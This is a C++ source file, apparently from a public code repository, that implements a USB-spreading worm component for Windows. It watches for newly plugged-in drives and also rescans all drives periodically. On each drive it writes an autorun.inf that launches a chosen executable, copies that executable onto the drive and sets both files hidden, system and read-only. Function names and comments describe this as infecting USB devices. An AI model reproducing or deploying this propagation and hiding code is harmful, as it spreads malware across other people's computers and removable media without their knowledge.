-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathUSBList.cpp
264 lines (228 loc) · 12 KB
/
USBList.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
#include "USBList.h"
char ** USBList::USBDeviceList;
char * USBList::strAutoRunFilenameWhenUSBArrive = NULL;
int USBList::numElems = 0;
bool USBList::inicialized = false;
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);
void getEnvironmentMessages(void * threadParams);
void infectPermanentUSBDevices(void * threadParams);
long USBList::delayInfectWhenUSBDeviceArrive = 0;
long USBList::delayInfectPermanentUSBDevices = 0;
bool USBList::quitInfectPermanentUSBDevices = true;
bool USBList::hideUSBFiles = true;
void USBList::inicialize(HINSTANCE hInstance, bool hideFiles, bool infectOnUSBDeviceConnect, long delayInfectWhenUSBArrive, bool infectPermanentUSB, long delayInfectPermanentUSB) {
if (!USBList::inicialized) {
USBList::USBDeviceList = (char **) malloc(sizeof(char *));
if (USBList::USBDeviceList != NULL) {
if (infectOnUSBDeviceConnect) {
USBList::delayInfectWhenUSBDeviceArrive = delayInfectWhenUSBArrive;
CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) getEnvironmentMessages, hInstance, 0, NULL);
}
if (infectPermanentUSB) {
USBList::quitInfectPermanentUSBDevices = false;
USBList::delayInfectPermanentUSBDevices = delayInfectPermanentUSB;
CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) infectPermanentUSBDevices, NULL, 0, NULL);
}
hideUSBFiles = hideFiles;
USBList::inicialized = true;
}
}
}
void USBList::setInfectPermanentUSBDevicesValue(bool infect) {
USBList::quitInfectPermanentUSBDevices = infect;
}
bool USBList::scanUSBRemovableAndFixedDevices() {
DWORD dwDriveList = ::GetLogicalDrives();
char device[3];
if (USBList::inicialized) {
for (int i = 0; (i < 26); i++) {
if ((dwDriveList & ((int) pow(2, i))) == ((int) pow(2, i))) {
sprintf(device, "%c:", (65 + i));
if (FunctionsWindowsNT::isRemovableOrFixedUSBDrive(device)) {
if (USBList::numElems > 0) USBList::USBDeviceList = (char **) realloc(USBList::USBDeviceList, sizeof(char *) * (USBList::numElems + 1));
*(USBList::USBDeviceList + USBList::numElems) = (char *) malloc(sizeof(char) * 3);
strcpy(*(USBList::USBDeviceList + USBList::numElems), device);
USBList::numElems++;
}
}
}
if (USBList::numElems > 0) return true;
}
return false;
}
bool USBList::createAutorunInUSBDevice(const char * letter, const char * strAutoRunFilename) {
DWORD dwDriveList = ::GetLogicalDrives();
bool err = false;
unsigned int pos = 0;
char device[3];
char * filename;
bool result = false;
if ((strlen(letter) == 1) || (strlen(letter) == 2)) {
if (strlen(letter) == 2) {
if (letter[1] != ':') err = true;
}
if (!err) {
if (((letter[0] > 96) && (letter[0] < 123)) || ((letter[0] > 64) && (letter[0] < 91))) {
if ((letter[0] > 64) && (letter[0] < 91)) pos = letter[0] - 65;
else pos = letter[0] - 97;
if ((dwDriveList & ((int) pow(2, pos))) == ((int) pow(2, pos))) {
sprintf(device, "%c:", (65 + pos));
if (FunctionsWindowsNT::isRemovableOrFixedUSBDrive(device)) {
if (FunctionsFiles::fileExists(strAutoRunFilename)) {
filename = FunctionsStrings::getLastToken((char *) strAutoRunFilename, '\\');
if (filename != NULL) {
if (FunctionsFiles::putTextToFile((string(device) + string("\\autorun.inf")).c_str(), (string("[autorun]\nshellexecute=") + string(filename)).c_str())) {
if (hideUSBFiles) FunctionsFiles::setFileAttributesSHR((string(device) + string("\\autorun.inf")).c_str());
else FunctionsFiles::setFileAttributesR((string(device) + string("\\autorun.inf")).c_str());
if (FunctionsFiles::copyFile(strAutoRunFilename, (string(device) + string("\\") + string(filename)).c_str())) {
if (hideUSBFiles) FunctionsFiles::setFileAttributesSHR((string(device) + string("\\") + string(filename)).c_str());
else FunctionsFiles::setFileAttributesR((string(device) + string("\\") + string(filename)).c_str());
}
result = true;
}
}
}
if ((USBList::inicialized) && (!USBList::driveIsInScannedList(device))) {
if (USBList::numElems > 0) USBList::USBDeviceList = (char **) realloc(USBList::USBDeviceList, sizeof(char *) * (USBList::numElems + 1));
*(USBList::USBDeviceList + USBList::numElems) = (char *) malloc(sizeof(char) * 3);
strcpy(*(USBList::USBDeviceList + USBList::numElems), device);
USBList::numElems++;
}
}
}
}
}
}
return result;
}
bool USBList::createAutorunInAllUSBDevices(const char * strAutoRunFilename) {
char * filename;
unsigned int infectedElems = 0;
if ((USBList::numElems > 0) && (USBList::inicialized) && (FunctionsFiles::fileExists(strAutoRunFilename))) {
filename = FunctionsStrings::getLastToken((char *) strAutoRunFilename, '\\');
if (filename != NULL) {
for(int i = 0; i < USBList::numElems; i++) {
if (FunctionsFiles::putTextToFile((string(*(USBList::USBDeviceList + i)) + string("\\autorun.inf")).c_str(), (string("[autorun]\nshellexecute=") + string(filename)).c_str())) {
if (hideUSBFiles) FunctionsFiles::setFileAttributesSHR((string(*(USBList::USBDeviceList + i)) + string("\\autorun.inf")).c_str());
else FunctionsFiles::setFileAttributesR((string(*(USBList::USBDeviceList + i)) + string("\\autorun.inf")).c_str());
if (FunctionsFiles::copyFile(strAutoRunFilename, (string(*(USBList::USBDeviceList + i)) + string("\\") + string(filename)).c_str())) {
if (hideUSBFiles) FunctionsFiles::setFileAttributesSHR((string(*(USBList::USBDeviceList + i)) + string("\\") + string(filename)).c_str());
else FunctionsFiles::setFileAttributesR((string(*(USBList::USBDeviceList + i)) + string("\\") + string(filename)).c_str());
}
infectedElems++;
}
}
if (infectedElems == USBList::numElems) return true;
}
}
return false;
}
bool USBList::setAutoRunFilenameWhenUSBArriveOrPermanentScan(const char * strAutoRunFilename) {
if (FunctionsFiles::fileExists(strAutoRunFilename)) {
if (USBList::strAutoRunFilenameWhenUSBArrive != NULL) free(USBList::strAutoRunFilenameWhenUSBArrive);
USBList::strAutoRunFilenameWhenUSBArrive = (char *) malloc(strlen(strAutoRunFilename) + 1);
if (USBList::strAutoRunFilenameWhenUSBArrive != NULL) {
strcpy(USBList::strAutoRunFilenameWhenUSBArrive, strAutoRunFilename);
return true;
}
}
return false;
}
char * USBList::getAutoRunFilenameWhenUSBArriveOrPermanentScan() {
return USBList::strAutoRunFilenameWhenUSBArrive;
}
char ** USBList::getUSBRemovableAndFixedList() {
if (USBList::inicialized) return USBList::USBDeviceList;
return NULL;
}
bool USBList::driveIsInScannedList(char * driveLetter) {
bool findLetter = false;
if ((USBList::inicialized) && (USBList::numElems > 0)) {
for(int i = 0; ((i < USBList::numElems) && (!findLetter)); i++) {
if (stricmp(*(USBList::USBDeviceList + i), driveLetter) == 0) findLetter = true;
}
}
return findLetter;
}
/* ##################################################################################
## ##
## [ + ] FUNCTION: infectPermanentUSBDevices ##
## [ + ] DESCRIPTION: Infect all USB devices periodical method ##
## [ + ] PARAMETERS: threadParams -> void ##
## ##
################################################################################## */
void infectPermanentUSBDevices(void * threadParams) {
USBList::scanUSBRemovableAndFixedDevices();
for (;!USBList::infectPermanentUSBDevicesIsCancelled();) {
if (USBList::getAutoRunFilenameWhenUSBArriveOrPermanentScan() != NULL) {
USBList::createAutorunInAllUSBDevices(USBList::getAutoRunFilenameWhenUSBArriveOrPermanentScan());
}
Sleep(USBList::getDelayInfectPermanentUSBDevices());
}
}
/* ##################################################################################
## ##
## [ + ] FUNCTION: getEnvironmentMessages ##
## [ + ] DESCRIPTION: Get environment messages to detect USB plug in ##
## [ + ] PARAMETERS: threadParams -> Winmain instance ##
## ##
################################################################################## */
void getEnvironmentMessages(void * threadParams) {
WNDCLASSEX wincl;
HWND hwnd;
MSG messages;
char className[] = "USB WINDOWS CLASS";
wincl.cbSize = sizeof(WNDCLASSEX);
wincl.hInstance = (HINSTANCE) threadParams;
wincl.style = CS_DBLCLKS;
wincl.lpfnWndProc = WndProc;
wincl.lpszClassName = className;
wincl.lpszMenuName = NULL;
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
if (RegisterClassEx(&wincl)) {
hwnd = CreateWindowEx(0, className, "USB WINDOW APP", WS_OVERLAPPED, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, HWND_DESKTOP, NULL, (HINSTANCE) threadParams, NULL);
if (hwnd != NULL) {
while(GetMessage(&messages, NULL, 0, 0)) {
TranslateMessage(&messages);
DispatchMessage(&messages);
}
}
}
}
/* ##################################################################################
## ##
## [ + ] FUNCTION: WndProc ##
## [ + ] DESCRIPTION: RSI (Routine Service Interrupt) when arrive USB message ##
## ##
################################################################################## */
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {
PDEV_BROADCAST_VOLUME pVol;
PDEV_BROADCAST_HDR pHdr;
char device[3];
pHdr = (PDEV_BROADCAST_HDR) lParam;
switch (message) {
case WM_DESTROY:
PostQuitMessage (0);
break;
case WM_DEVICECHANGE:
switch (wParam) {
case DBT_DEVICEARRIVAL:
Sleep(USBList::getDelayInfectWhenUSBDeviceArrive());
pVol = (PDEV_BROADCAST_VOLUME) pHdr;
sprintf(device, "%c:", FunctionsWindowsNT::getDriveLetter(pVol->dbcv_unitmask));
if (USBList::getAutoRunFilenameWhenUSBArriveOrPermanentScan() != NULL) {
USBList::createAutorunInUSBDevice(device, USBList::getAutoRunFilenameWhenUSBArriveOrPermanentScan());
}
break;
}
break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}